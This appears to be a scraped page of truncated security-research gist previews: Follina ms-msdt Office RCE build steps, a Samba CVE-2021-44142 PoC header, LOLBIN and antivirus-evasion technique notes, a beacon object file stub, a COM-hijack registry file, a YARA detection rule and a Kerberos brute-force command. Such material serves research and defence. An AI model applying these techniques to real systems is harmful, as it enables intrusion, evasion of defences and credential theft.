tothi

MS-MSDT 0-day Office RCE

MS Office docx files may contain external OLE Object references as HTML files. There is an HTML sceme "ms-msdt:" which invokes the msdt diagnostic tool, what is capable of executing arbitrary code (specified in parameters).

The result is a terrifying attack vector for getting RCE through opening malicious docx files (without using macros).

Here are the steps to build a Proof-of-Concept docx:

1. Open Word (used up-to-date 2019 Pro, 16.0.10386.20017), create a dummy document, insert an (OLE) object (as a Bitmap Image), save it in docx.

0xsha

# CVE-2021-44142 PoC Samba 4.15.0 OOB Read/Write 
# (C) 2022 - 0xSha.io -  @0xSha
# This PoC is un-weaponized and for educational purposes only .
# To learn how to use the PoC please read the writeup : 
# https://0xsha.io/blog/a-samba-horror-story-cve-2021-44142
# requires samba4-python

# Refrences : 
# https://www.thezdi.com/blog/2022/2/1/cve-2021-44142-details-on-a-samba-code-execution-bug-demonstrated-at-pwn2own-austin
# Patch : https://attachments.samba.org/attachment.cgi?id=17092

bohops

*Purpose
 - UI Accessibility Checker
 - Verifies UI accessibility requirements

*LOLBIN Functionality/Steps
 1) Go to "Custom Verification Routines" link in reference section and copy the sample verification C# code into Visual Studio.
 2) Add proper assembly references (e.g. AccCheck.dll)
 3) Insert your C# code under a target method such as Execute()
 4) Compile to a .NET managed library (DLL)
 5) Invoke the code

theevilbit

/*
This is a POC for a generic technique I called internally on our red team assessment "Divide and Conquer", which can be used to bypass behavioral based NextGen AV detection. It works by splitting malicious actions and API calls into distinct processes.
*/

#include <stdio.h>
#include <tchar.h>

#include <windows.h>
#include "Commctrl.h"
#include <string>

G0ldenGunSec

#include <string.h>
#include <stdio.h>
#include <windows.h>
#include <psapi.h>
#include "beacon.h"


DECLSPEC_IMPORT BOOL WINAPI KERNEL32$K32EnumProcesses(DWORD *, DWORD, LPDWORD);
DECLSPEC_IMPORT WINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess(DWORD, BOOL, DWORD);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$K32EnumProcessModulesEx(HANDLE, HMODULE*, DWORD, LPDWORD, DWORD);

homjxi0e

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Classes\Scripting.FileSystemObject]
@=""

[HKEY_CURRENT_USER\Software\Classes\Scripting.FileSystemObject\CLSID]
@="{00000001-0000-0000-0000-0000FEEDACDC}"

mattifestation

itsreallynick

rule Methodology_Suspicious_Shortcut_Local_URL
{
  meta:
    author = "@itsreallynick (Nick Carr), @QW5kcmV3 (Andrew Thompson)"
    description = "Detects local script usage for .URL persistence"
    reference = "https://twitter.com/cglyer/status/1176184798248919044"
  strings:
    $file = "URL=file:///" nocase
    $url_clsid = "[{000214A0-0000-0000-C000-000000000046}]"
    $url_explicit = "[InternetShortcut]" nocase

Arno0x

/*

================================ Compile as a .Net DLL ==============================
	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library /out:TestAssembly.dll TestAssembly.cs

*/

using System.Windows.Forms;

namespace TestNamespace

TarlogicSecurity

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module: